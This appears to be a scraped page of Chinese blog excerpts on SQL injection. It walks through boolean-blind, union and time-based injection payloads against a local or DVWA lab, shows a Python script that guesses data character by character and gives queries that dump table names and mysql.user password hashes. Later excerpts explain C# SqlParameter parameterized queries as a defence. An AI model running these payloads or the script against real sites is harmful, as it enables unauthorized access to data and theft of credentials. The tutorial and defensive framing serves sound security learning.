精华内容
下载资源
问答
  • SQL注入--盲注入(bool型)

    千次阅读 2016-07-30 09:52:16
    一个带GET参数的网站,但是网页中没有返回任何查询结果和报错信息,只返回对和错: 盲注入格式: ...(SQL语句),1,1 ...SQL语句 输入SQL注入语句; ASCII 返回的字符的ASCII码; 1 第一个字母,从1开始算起;

    一个带GET参数的网站,但是网页中没有返回任何查询结果和报错信息,只返回对和错:




    盲注入格式:

    http://127.0.0.1/index.php?id=1' and ascii(substr(
    (SQL语句),1,1
    ))=ASCII%23

    注:

    SQL语句 输入SQL注入语句;

    ASCII 返回的字符的ASCII码;

    1 第一个字母,从1开始算起;

    ASCII码可以根据二分法猜测;

    详情可以了解sql的substr()语法;


    爆库名(sql)的第1个字母:
    http://127.0.0.1/index.php?id=1' and ascii(substr(
    (select schema_name from information_schema.schemata limit 4,1),1,1
    ))=115%23

    注:

    limit 4,1)1,1  表示查询第5个数据库名字的第1个字母;

    115 为s的ASCII码;

    另:

    limit 0,1)1,1  表示查询第0个数据库名字的第1个字母;

    limit 1,1)2,1  表示查询第2个数据库名字的第2个字母;

    limit 1,1)4,1  表示查询第2个数据库名字的第4个字母;



    爆库名(sql)的第2个字母:
    http://127.0.0.1/index.php?id=1' and ascii(substr(
    (select schema_name from information_schema.schemata limit 4,1),2,1
    ))=113%23

    注:

    limit 4,1)2,1  表示查询第5个数据库名字的第2个字母;

    113 为q的ASCII码;



    爆库名(sql)的第3个字母:
    http://127.0.0.1/index.php?id=1' and ascii(substr(
    (select schema_name from information_schema.schemata limit 4,1),3,1
    ))=108%23

    注:

    limit 4,1)3,1  表示查询第5个数据库名字的第3个字母;

    108 为l的ASCII码;



    爆sql数据库的第1个表名(user)的第1个字母:
    http://127.0.0.1/index.php?id=1' and ascii(substr(
    (select table_name from information_schema.tables where table_schema=0x73716climit0,1),1,1
    ))=117%23

    注:

    0x73716c 为sql的十六进制编码;

    117 为u的ASCII码;

    limit 用法参考上文



    爆sql数据库user表的第3个字段(pwd)的第1个字母:
    http://127.0.0.1/index.php?id=1' and ascii(substr(
    (select column_name from information_schema.columns where table_schema=0x73716cand table_name=0x75736572limit 2,1),1,1
    ))=112%23
    注:

    0x73716c 为sql的十六进制编码

    0x75736572 为user的十六进制编码;

    112  为p的ASCII码;

    limit 用法参考上文



    爆第3个字段pwd(123321)的内容的第一个字母:
    http://127.0.0.1/index.php?id=1' and ascii(substr(
    (select pwd from sql.userlimit0,1),1,1
    ))=49%23
    注:

    49  为1的ASCII码

    limit 用法参考上文;



    最终拿到admin的password!


    盲注入可以使用python脚本更方便!

    这里贴一小段简单的python盲注入脚本:

    import requests
    urltest="http://127.0.0.1/index.php?id=1' and ascii(substr((select user()),1,1))=114%23" #验证页面,通常为正确页面
    URL=requests.get(urltest)
    for j in range(1,10):
    	for i in range(33,125):
    		i=str(i)
    		j=str(j)
    		url="http://127.0.0.1/index.php?id=1' and ascii(substr((select user()),"+j+",1))="+i+"%23" #注入用于比对的URL
    		#print url
    		url=requests.get(url)
    		if url.text==URL.text:
    			print chr(int(i))
    


    以上脚本代码通过修改url中的 select user() SQL语句即可方便盲注入!


    展开全文
  • 1.没有“ ”,字符串使用‘ ’包含 2.没有逻辑相等,赋值和逻辑相等都是= 3.类型不再是最严格的。任何数据都可以包含在‘ ’以内 4.没有bool值的概念,但是在视图中可以输入true/false 5.它也有关系运算符:> < >= ...
  • 常见的Web漏洞——SQL注入

    万次阅读 多人点赞 2018-06-25 17:59:26
    SQL注入方法 联合查询注入 基于bool的盲注 基于时间的盲注 总结 SQL注入简介 SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义...

    目录

    SQL注入简介

    SQL注入原理

    SQL注入分类及判断

    SQL注入方法

    联合查询注入

    基于bool的盲注

    基于时间的盲注

    总结


    SQL注入简介

    SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。本文以免费开源数据库MySQL为例,看懂本文需要了解基本SQL语句。

    SQL注入原理

    一般用户登录用的SQL语句为:SELECT * FROM user WHERE username='admin' AND password='passwd',此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入'or 1#,SQL语句将变为:SELECT * FROM user WHERE username=''or 1#' AND password='',‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。我们可以使用DVWA来测试一下。

    打开DVWA也面,登录,然后修改DVWA Security等级为Low点击submit,如图:

    然后点击左侧SQL Injection,出现一个输入ID查数据的文本框,点击网站右下角的View Source可查看源代码,如图

    可以看到SQL语句为SELECT first_name, last_name FROM users WHERE user_id = '$id';用户输入的字符串存在$id变量中,可以看到上面没有任何处理用户输入的字符串的函数,因此可以肯定这里存在SQL注入,我们仍然可以输入'or 1#,是SQL语句变为:SELECT first_name, last_name FROM users WHERE user_id = ''or 1#';从而查询到所有的first_name和last_name,如图:

    SQL注入分类及判断

    事实上SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。从查询语句及可看出来这里是字符型的注入同时也是GET型注入和表单注入,数字型注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入为查询语句为:SELECT * FROM user WHERE search like '%1%'

    在知道查询语句的情况下我们很容易辨别是否存在注入及注入类型,很多时候我们并不知道查询语句是什么,所以我们可以这样判断,在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入,读者可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0'or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。

    GET型注入很容易从URL中看出来,如图,网页的URL为:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1,浏览器通常使用?来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数,如图:

    SQL注入方法

    注入方法可以直接在URL中提交注入语句,需要注意的是,在URL提交SQL语句,需要将注释符#进行URL编码,有时候所有SQL语句都需要URL编码,如图:

    联合查询注入

    POST型注入和Cookie注入需要插件和工具才可进行,以后在介绍,联合查询注入也是用的非常多的,可以在URL中提交SQL语句,也可以在表单提交,联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,由前面实验可知这是字符型注入,所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到3时出现错误,如图,说明当前表有2列:

    接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#;

    接着构造联合查询语句查询当前数据库用户和数据库名,结果会显示在上图对应的位置:'union select user(),database()#;

    我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:'union select 1,table_name from information_schema.tables where table_schema=database()#;

    查询当前数据库下数据表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#;

    查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#;

    查询MySQL的root用户和密码hash值:'union select user,authentication_string from mysql.user#,如图:

    基于bool的盲注

    上面这些注入方法都需要网页可以显示查询数据的结果,而盲注适合页面不显示任何数据查询结果,基于bool的盲注就是页面只有正常和不正常两种情况,通过true和false来猜解数据,速度比较慢,基于bool的盲注通常用函数length(),返回长度,ascii(),返回ASCII值,substr(string,a,b),返回string以a开头,长度为b的字符串,count(),返回数量。

    点击DVWA页面的SQL Injection(Blind),随便输入数字发现只有两种显示结果,符合bool注入条件,构造语句猜测当前数据库名长度是否大于5:1' and length(database())>5#,如图:

    说明当前数据库长度是小于5 的用二分法继续构造:1' and length(database())>3#;

    显然长度大于3却不大于5,当前数据库名长度就是4,然后判断数据库名第一个字符ASCII是否大于97:1'and (ascii(substr(database(),1,1)))>97#,依旧使用二分法慢慢判断,最终确定为ASCII为100,对应字符为:d;

    然后判断数据库名第二个字符ASCII是否大于97:1'and (ascii(substr(database(),2,1)))>97#,最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa;

    然后判断当前数据库中数据表的个数:1'and (select count(*) from information_schema.tables where table_schema=database())>3#,这个步骤可以有也可以没有,看完下面就知道了;

    然后判断当前数据库中第一个数据表的长度是否大于5:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#,结果如图:

    原理同上面判断数据库长度,最后得到当前数据库的第一个数据表的长度,获取第二个表的长度:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5#,第三个,第四个以此类推,当第N个数据表长度大于0返回为假时,说明这个数据表不存在;

    然后猜解当前数据库的第一个数据表第一个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#,结果为103,对应字符:g;

    然后猜解当前数据库的第一个数据表的第二个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))>97#,结果为117,对应字符:u,

    第三个,第四个字符以此类推直到猜解完毕;

    然后猜解当前数据库中数据表users的列数:1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>3#,同样,这个步骤也是可以省略的;

    然后猜解当前数据库中数据表users第一列的长度:1'and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>5#,当大于0为假,说明此列不存在;

    然后猜解当前数据库数据表users的第一列字段的第一个字符1'and (ascii(substr(select column_name from information_schema.columns where table_name='users') limit 0,1),1,1)>97#,然后依次猜解完全部字段。

    基于时间的盲注

    基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数除了上面的还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。

    猜解当前数据库名的长度,如果长度大于0就会延时5s:1'and if(length(database())>0,sleep(5),0)#,如图:

    然后猜解当前数据库中数据表的个数:1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#;

    然后猜解当前数据库中的第一个数据表第一个字符的ASCII:1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#,同bool注入的步骤一样,只是注入语句有点差异,类比上面的语句即可猜解数所有数据。

    总结

    SQL注入技术不是单凭一篇博客就可以讲完的,这里只带领大家掌握SQL注入的原理及常见的几种SQL注入的形成原因及利用方法,后面遇见在详解其他方法。有很多讲SQL注入的书,个人认为Justin Clarke写的《SQL注入攻击与防御》很不错,类似的书还有很多,如果想自己深入学习,可以寻找适合自己的书。相信大家通过本篇已掌握SQL注入原理和相应类型的注入的方法,同时也需要掌握SQL注入的一般步骤:

    1、测试网页是否存在SQL注入

    2、判断SQL注入类型

    3、利用SQL语句查询数据库当前用户及数据库

    4、利用SQL语句查询表名、列名、字段名以及字段值

    展开全文
  • C# 中SqlParameter类的使用方法小结

    万次阅读 2009-08-06 11:17:00
    C# 中SqlParameter类的使用方法小结在c#中执行sql语句时传递参数的小经验 1、直接写入法: 例如: int Id =1; string Name="lui"; cmd.CommandText="insert into TUserLogin values("+Id+",

     C# SqlParameter类的使用方法小结

    c#中执行sql语句时传递参数的小经验

     1、直接写入法:

          例如:

                 int Id =1;

                 string Name="lui";

                 cmd.CommandText="insert into TUserLogin values("+Id+",'"+Name+"')";

            因为Id是数值,所以在传递的时候只需要在sql字符串中用"+Id+"即可实现,而   Name是字符串,所以在传递的时候还需要在"+Name+"两边各加一个单引号(')来 实现;

     

     

    2、给命令对象添加参数法:

         例如:

                int Id =1;

                string Name="lui";

                cmd.CommandText="insert into TUserLogin values(@Id,@Name)";

              //上条语句中直接在sql语句中写添加的参数名,不论参数类型都是如此.

               SqlParameter  para=new SqlParameter("@Id",SqlDbType.int,4);//生成一个名字为@Id的参数,必须以@开头表示是添加的参数,并设置其类型长度,类型长度与数据库中对应字段相同

               para.Value=Id;//给参数赋值

               cmd.Parameters.Add(para);//必须把参数变量添加到命令对象中去。

               //以下类似

               para=new SqlParameter("@Name",SqlDbType.VarChar,16);

               para.Value=Name;

               com.Parameters.Add(para);

            ...然后就可以执行数据库操作了。

     

    声明:本帖转自 http://www.knowsky.com/339188.html

     

    在此对本帖原创作者,致以最诚挚的谢意!

     

     

    =============================================

     

     SqlParameter用法

    SqlParameter[] parameters = { new SqlParameter("@a", "a1"), new SqlParameter("@b", "b1") };

     

                string strReturn = "";

     

                StringBuilder strBulResult = new StringBuilder();

     

     

     

                foreach (SqlParameter parameter in parameters)

     

                {

     

                    strBulResult.Append(parameter.ParameterName);

     

                    strBulResult.Append(":");

     

                    strBulResult.Append(parameter.SqlValue);

     

                    strBulResult.Append("/n");

     

                }

     

     

     

                strReturn = strBulResult.ToString();

     

      

    声明:本帖转自 http://hi.baidu.com/daxiongmao_adi/blog/item/d7ac6ccdd75348540eb34553.html

     

    在此对本帖原创作者,致以最诚挚的谢意!

     

     

    =============================================

     

     

    SqlParameter用法

     

      关于Sql注入的基本概念,相信不需多说,大家都清楚,经典的注入语句是' or 1=1--

    单引号而截断字符串,“or 1=1的永真式的出现使得表的一些信息被暴露出来,如果sql语句是select * from 的话,可能你整个表的信息都会被读取到,更严重的是,如果恶意使用都使用drop命令,那么可能你的整个数据库得全线崩溃。  

     

    当然,现在重点不是讲sql注入的害处,而是说说如何最大限度的避免注入问题。

     

     sql注入的存在在最大危害,是sql的执行语句没有和控制语句分开,我们想要select一些东西,但用户可能拼出' or 1=1甚至再加上delete/update/drop,后来是属于控制语句了,所以要避免sql的注入,就必须把查询语句与控制语句分开。

     

    SqlParameter给我们提供了一个很好的类,有了它,我们可以不现拼接字符串,也可以不再担心单引号带来的惨剧,因为,这一切会有人来为我们完成的。

     

    简单的给个示例

     

    传统的查询语句的sql可能为

    string sql="select * from users where user_id='"+Request.QueryString["uid"]+"'";

    很显然,我们在这里拼接了字符串,这就给sql注入留下了可乘之机。

     

    现在,我们要改写这样的语句,使用SqlParameter来做

     

    SqlCommand SqlCmd = new SqlCommand(sql, SqlConn);

    SqlParameter _userid = new SqlParameter("uid", SqlDbType.Int);

    _userid.Value = Request.QueryString["u_id"];

    SqlCmd.Parameters.Add(_userid);

     

    这样,我们可以保证外接参数能被正确的转换,单引号这些危险的字符也会转义了,不会再对库造成威胁。

     

    当然,这仅是一个示例而已,在真实的情况下,可能你还要对 Request.QueryString["u_id"]进行必要的检测与分析,这样才安全

     

    所以,使用参数化的sql语句,是一种很好的做法

     

     

     

    Dim sql As StringBuilder = New StringBuilder()

                sql.Append("")

                sql.Append("SELECT * FROM test")

                sql.Append(" WHERE  a= @p1 ")           

     

                Dim command As SqlCommand    =    dac.CreateCommand(sql.ToString())  'dac为自己写的类

                Dim param As SqlParameter = New SqlParameter()

                param .ParameterName = "@p1"

                param .SqlDbType = SqlDbType.NVarChar

                param .Value = b       'b为该函数的参数(ByVal b as String)

                command .Parameters.Add(param)

                Dim reader As SqlDataReader = command.ExecuteReader()

     

     

     

     

     

    SqlParameter 构造函数

     

    SqlParameter 构造函数 (String, SqlDbType, Int32, ParameterDirection, Byte, Byte, String, DataRowVersion, Boolean, Object, String, String, String)

    初始化 SqlParameter 类的一个新实例,该类使用参数名、参数的类型、参数的长度、方向、精度、小数位数、源列名称、DataRowVersion 值之一、用于源列映射的布尔值、SqlParameter 的值、此 XML 实例的架构集合所在的数据库的名称、此 XML 实例的架构集合所在的关系架构以及此参数的架构集合的名称。

    命名空间: System.Data.SqlClient

    程序集: System.Data(在 system.data.dll 中)

     

    C#

    public SqlParameter (

        string parameterName,

        SqlDbType dbType,

        int size,

        ParameterDirection direction,

        byte precision,

        byte scale,

        string sourceColumn,

        DataRowVersion sourceVersion,

        bool sourceColumnNullMapping,

        Object value,

        string xmlSchemaCollectionDatabase,

        string xmlSchemaCollectionOwningSchema,

        string xmlSchemaCollectionName

    )

     

     

    参数

    parameterName

    要映射的参数的名称。

     

    dbType

    SqlDbType 值之一。

     

    size

    参数的长度。

     

    direction

    ParameterDirection 值之一。

     

    precision

    要将 Value 解析为的小数点左右两侧的总位数。

     

    scale

    要将 Value 解析为的总小数位数。

     

    sourceColumn

    源列的名称。

     

    sourceVersion

    DataRowVersion 值之一。

     

    sourceColumnNullMapping

    如果源列可为空,则为 true;如果不可为空,则为 false

     

    value

    一个 Object,它是 SqlParameter 的值。

     

    xmlSchemaCollectionDatabase

    XML 实例的架构集合所在的数据库的名称。

     

    xmlSchemaCollectionOwningSchema

    包含此 XML 实例的架构集合的关系架构。

     

    xmlSchemaCollectionName

    此参数的架构集合的名称。

     

     备注

    如果未在 size precision 参数中显式设置 Size Precision,则从 dbType 参数的值推断出它们。

     

    SqlParameter

    表示 SqlCommand 的参数,也可以是它到 DataSet 列的映射。无法继承此类。

     

    有关此类型所有成员的列表,请参阅 SqlParameter 成员。

     

    System.Object

       System.MarshalByRefObject

          System.Data.SqlClient.SqlParameter

     

    [Visual Basic]

    NotInheritable Public Class SqlParameter

       Inherits MarshalByRefObject

       Implements IDbDataParameter, IDataParameter, ICloneable

    [C#]

    public sealed class SqlParameter : MarshalByRefObject,

       IDbDataParameter, IDataParameter, ICloneable

    [C++]

    public __gc __sealed class SqlParameter : public

       MarshalByRefObject, IDbDataParameter, IDataParameter, ICloneable

    [JScript]

    public class SqlParameter extends MarshalByRefObject implements

       IDbDataParameter, IDataParameter, ICloneable

    线程安全

    此类型的所有公共静态(Visual Basic 中为 Shared)成员是线程安全的。但不保证任何实例成员是线程安全的。

     

    备注

    参数名称不区分大小写。

     

    示例

    [Visual Basic, C#, C++] 下面的示例通过 SqlDataAdapter 中的 SqlParameterCollection 集合创建 SqlParameter 的多个实例。这些参数用于从数据源中选择数据并将数据放在 DataSet 中。此示例假定已经用适当的架构、命令和连接创建了 DataSet SqlDataAdapter

     

    [Visual Basic]

    Public Sub AddSqlParameters()

        ' ...

        ' create myDataSet and myDataAdapter

        ' ...

        myDataAdapter.SelectCommand.Parameters.Add("@CategoryName", SqlDbType.VarChar, 80).Value = "toasters"

        myDataAdapter.SelectCommand.Parameters.Add("@SerialNum", SqlDbType.Int).Value = 239

       

        myDataAdapter.Fill(myDataSet)

    End Sub 'AddSqlParameters

     

    [C#]

    public void AddSqlParameters()

    {

    // ...

    // create myDataSet and myDataAdapter

    // ...

     

      myDataAdapter.SelectCommand.Parameters.Add("@CategoryName", SqlDbType.VarChar, 80).Value = "toasters";

      myDataAdapter.SelectCommand.Parameters.Add("@SerialNum", SqlDbType.Int).Value = 239;

      myDataAdapter.Fill(myDataSet);

     

    }

     

    [C++]

    public:

    void AddSqlParameters()

    {

    // ...

    // create myDataSet and myDataAdapter

    // ...

     

      myDataAdapter->SelectCommand->Parameters->Add(S"@CategoryName", SqlDbType::VarChar, 80)->Value = S"toasters";

      myDataAdapter->SelectCommand->Parameters->Add(S"@SerialNum", SqlDbType::Int)->Value = __box(239);

      myDataAdapter->Fill(myDataSet);

     

    }

     

    [JScript] 没有可用于 JScript 的示例。若要查看 Visual BasicC# C++ 示例,请单击页左上角的“语言筛选器”按钮

     

    要求

    命名空间: System.Data.SqlClient

     

    平台: Windows 98, Windows NT 4.0, Windows ME, Windows 2000, Windows XP Home Edition, Windows XP Professional, Windows Server 2003 系列, .NET Framework 精简版

     

    程序集: System.Data ( System.Data.dll )

     

    使用SqlParameter

     

    SqlParameter[] p =

    {

    SqlHelper.MakeInParam("@EntryID",SqlDbType.Int,4,ev.EntryID),

    SqlHelper.MakeInParam("@BlogID",SqlDbType.Int,4,ev.BlogID),

    SqlHelper.MakeInParam("@URL",SqlDbType.NVarChar,255,DataHelper.CheckNull(ev.ReferralUrl)),

    SqlHelper.MakeInParam("@IsWeb",SqlDbType.Bit,1,ev.PageViewType)

    };

    SqlHelper.ExecuteNonQuery(conn,CommandType.StoredProcedure,"blog_TrackEntry",p);

     

    答疑:SqlParameter赋值之后怎么添加值

    SqlCommand我知道用add

    但我想问的是   SqlParameter

    例如

    SqlParameter   parm   =   new   SqlParameter(PARM_ORDER_ID,   SqlDbType.Int);

    parm.Value   =   orderId;

    之后能不能再改parm添加一个值

    因为我写了个方法是传递SqlParameter类型的参数

    但有时要做些判断

    SqlParameter   parm   =   new   SqlParameter(PARM_ORDER_ID,   SqlDbType.Int);

    parm.Value   =   orderId;

    if(...)

    {

    //添加一个参数

    }

    ExecuteReader(parm,.....);

    请问应该怎么做呢

     

    最佳答案        int IArticle.Insert(ArticleInfo article)

            {

                //如果对象存在

                if (article.ID != -1)

                    return -1;

                else

                    article.ID = TableHelper.GetSequence(SQLHelper.ConnectionString, "Article", "ID");

                //统计执行成功的数量

                int successCount = 0;

                string SQL_THIS = SQL_INSERT_ARTICLE;

                SqlParameter[] paras = GetParas();

                paras[0].Value = article.ID;

                paras[1].Value = article.Title;

                paras[2].Value = article.DateAdded;

                paras[3].Value = article.Text;

                paras[4].Value = article.SourceUrl;

                paras[5].Value = article.PostType;

                paras[6].Value = article.Author;

                paras[7].Value = article.Email;

                paras[8].Value = article.SourceName;

                paras[9].Value = article.BlogID;

                paras[10].Value = article.CategoryID;

                paras[11].Value = article.Summary;

                paras[12].Value = article.IsBySummary;

                paras[13].Value = article.DateUpdated;

                paras[14].Value = article.TitleUrl;

                paras[15].Value = article.FeedBackCount;

                paras[16].Value = article.PostConfig;

                paras[17].Value = article.EntryName;

                paras[18].Value = article.KeyWord;

                SqlConnection conn = new SqlConnection(SQLHelper.ConnectionString);

                successCount = SQLHelper.ExecuteNonQuery(conn, CommandType.Text, SQL_THIS, paras);

                return successCount;

            }

     

     

    声明:本帖转自 http://www.cnblogs.com/angelfeather/articles/1225902.html

    在此对本帖原创作者,致以最诚挚的谢意!

     

     =============================================

     

    例子:

     

    SqlParameter[] paraList = new SqlParameter[7];

     

    paraList[0] = new SqlParameter( "@userName ", SqlDbType.VarChar, 50);

    paraList[0].Value = personModel.UserName;

    paraList[1] = new SqlParameter( "@account ", SqlDbType.VarChar, 100);

    paraList[1].Value = personModel.Account;

    paraList[2] = new SqlParameter( "@pwd ", SqlDbType.VarChar, 100);

    paraList[2].Value = personModel.Pwd;

    paraList[3] = new SqlParameter( "@unitID ", SqlDbType.VarChar, 20);

    paraList[3].Value = personModel.UnitID;

    paraList[4] = new SqlParameter( "@email ", SqlDbType.VarChar, 100);

    paraList[4].Value = personModel.Email;

    paraList[5] = new SqlParameter( "@officeTel ", SqlDbType.VarChar, 20);

    paraList[5].Value = personModel.OfficeTel;

    paraList[6] = new SqlParameter( "@mobile ", SqlDbType.VarChar, 20);

    paraList[6].Value = personModel.Mobile;

     

    return sd.ExecuteNonQuery( "UP_Person_ADD ", paraList);

     

    声明:本帖转自 http://hljncxjh.blog.163.com/blog/static/7616708200862085248668/

     

    在此对本帖原创作者,致以最诚挚的谢意!

     

    =============================================

     

     

    sqlparameter问题,解决参考方法参见网址:

     

    http://topic.csdn.net/t/20050902/15/4246228.html

    展开全文
  • SQL Server NULL的正确用法

    千次阅读 2018-11-29 21:12:22
    =null,要使用SQL专用判断 字段 is not null 2.在程序中取SQL查询的数据转换时,当Model类中数据为Decimal,int,bool类型时,直接去接收数据库的数据如果数据库数据为Null会报错, 如:Name= Reader.GetDecimal...

    1.在查询数据中,判断某个字段是否为空,不能用 字段!=null,要使用SQL专用判断 字段 is not null

    2.在程序中取SQL查询的数据转换时,当Model类中数据为Decimal,int,bool类型时,直接去接收数据库的数据如果数据库数据为Null会报错,
    如:Name= Reader.GetDecimal(reader, “Name”);这种写法如果数据库Name为Null,这里的程序就会出错。

    遇到这种情况大家都能想到需要事先判断下字段数据库中是否Null就可以了,等于Null给一个初始值0,不等于就赋值,如下写法:Name= Reader.GetDecimal(reader, “Name”)==Null ?0:Reader.GetDecimal(reader, “Name”);

    这样写依旧报错,因为对于接收数据库数据Null的判断用DBNull,所以正确写法如下:
    Name= Reader.GetDecimal(reader, “Name”)==DBNull ?0:Reader.GetDecimal(reader, “Name”);

    展开全文
  • .net 中SqlParameter用法

    千次阅读 2013-01-26 21:48:20
    单引号而截断字符串,“or 1=1”的永真式的出现使得表的一些信息被暴露出来,如果sql语句是select * from 的话,可能你整个表的信息都会被读取到,更严重的是,如果恶意使用使用drop命令,那么可能你的整个数据库...
  • SqlParameter的用法

    千次阅读 2008-10-17 21:17:00
    大家都清楚,经典的注入语句是 or 1=1--单引号而截断字符串,“or 1=1”的永真式的出现使得表的一些信息被暴露出来,如果sql语句是select * from 的话,可能你整个表的信息都会被读取到,更严重的是,如果恶意使用都...
  • SQL注入的五类方法

    千次阅读 2011-11-09 22:22:09
    1 基于boolSQL盲注入 2 基于时间的SQL盲注入 3 基于错误的SQL注入 是指构造语法上错误的SQL语句,期望从服务获取错误信息,更加错误信息判断服务器版本,代码特点等。 4 UNION 查询SQL注入 是指在SQL查询后面...
  • 使用C++连接sql server 单例模式

    千次阅读 2017-07-16 23:43:32
    直接上代码使用方法:CADO& m_sqlAdo=CADO::getCADOInstance(); if (!m_sqlAdo.IsOpen()) { bool success = m_sqlAdo.InitializeAdo("139.199.xxx.xxx,1433", "sa", "xxxx", "Persist Security Info=False;I
  • SQL中EXISTS的用法

    万次阅读 多人点赞 2018-06-13 15:04:39
    exists,not exists的使用方法示例,需要的朋友可以参考下。   学生表:create table student (  id number(8) primary key,  name varchar2(10),deptment number(8) )   选课表:create ...
  • func (m xxxstruct) insertxxx() (bool,string){ sqlquery :="insert into tables_name(id,name,email,content,) values(%v,%v,%v,%v)" sqlquery =fmt.Sprintf(sqlquery,m.id,m.name,m.email,m.cont...
  • 使用Python防止SQL注入攻击

    千次阅读 多人点赞 2020-05-19 18:02:48
    让我们一起掌握Python防止SQL注入的技巧跟方法来抵抗恶意攻击吧!
  • QT SQL使用指南

    2019-05-19 09:22:14
    QT SQL使用指南 QtSql模块提供了与平台无关的访问SQL数据库的接口,这个接口由利用Qt的模型/视图机构将数据库与用户界面集成的一套类来支持。 QSqlDatabase对象表征了数据库的关联。 QSqlQuery类提供了一种直接...
  • SQL注入攻击”问题。我们在程序中存在着大量拼接产生SQL语句的代码,这就会导致一个比较大的安全隐患,容易遭受SQL注入攻击。我们在代码中用的SQL语句是: string sqlStr = &quot;select * from [Users] ...
  • LINQ to SQL 之DataContext用法

    千次阅读 2012-09-08 21:56:17
    DataContext作为LINQ to SQL框架的主入口点,为我们提供了一些方法和属性,本文用几个例子说明DataContext几个典型的应用。 创建和删除数据库 CreateDatabase方法用于在服务器上创建数据库。 DeleteDatabase...
  • SQLServer中exists和except用法

    千次阅读 2017-07-14 12:28:47
    EXISTS(包括 NOT EXISTS)子句的返回值是一个BOOL值。EXISTS内部有一个子查询语句(SELECT ... FROM...),我将其称为EXIST的内查询语句。其内查询语句返回一个结果集。EXISTS子句根据其内查询语句的结果集空或者非空,...
  • C# 中SqlParameter类的使用方法小结

    千次阅读 2009-09-18 11:49:00
    在c#中执行sql语句时传递参数的小经验 1> 直接写入法: 例如: int Id =1; string Name="lui"; cmd.CommandText="insert into TUserLogin values("+Id+","+Name+")"; 因为Id是数值,所以在传递的时
  • SQL Server中group by用法以及容易出错的点

    万次阅读 多人点赞 2018-06-04 16:49:10
    SQL Server中,group by 一般是和聚合函数一起搭配使用的,不然用了也没什么意义除了消除重复功能外。例如,有这样的一学生成绩表(学号,课程号,成绩)我们按学号分组查询,select SNo from sc group by SNo...
  • 五一这两天又静下心来看了一些,感觉像我平时的一些基本使用,用bool查询都可以满足,而且当你理解了bool查询之后,用java来调用es也会比较得心应手。 一、kibana es 查询:如下例子都是以6.x的版本 bool查询如下...
  • C#中sqlparameter的用法

    千次阅读 2011-04-06 14:55:00
    在c#中执行sql语句时传递参数的小经验  1、直接写入法:  例如:  int Id =1;  string Name="lui";  cmd.CommandText="insert into TUserLogin values("+Id+",'"+Name+"')";...
  • SqlParameter的用法(减少注入)

    千次阅读 2018-04-17 18:09:25
    SqlParameter的用法关于Sql注入的基本概念,相信不需多说,大家都清楚,经典的注入语句是' or 1=1--单引号而截断字符串,“or 1=1”的永真式的出现使得表的一些信息被暴露出来,如果sql语句是select * from 的话,...
  • 文章目录构建类库添加到Sql Server测试 ...创建正则比较方法 namespace SqlServerRegex { public class RegexExtend { [Microsoft.SqlServer.Server.SqlFunction] public static bool IsMatch(strin...
  • SQl Server2000和win7 64bit 的有点不兼容,网上有很多sql server2000的下载,但安装时有些安装失败,提示无法安装数据库引擎,只能安装客户端(那就不要安装了),笔者安装的SQL Server2000的下载地址为: ...
  • NOT IN SELECT DISTINCT MD001 FROM BOMMD WHERE MD...NOT EXISTS,exists的用法跟in不一样,一般都需要和子表进行关联,而且关联时,需要用索引,这样就可以加快速度 select DISTINCT MD001 from BOMMD WHERE NOT E

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 51,979
精华内容 20,791
关键字:

bool的用法sql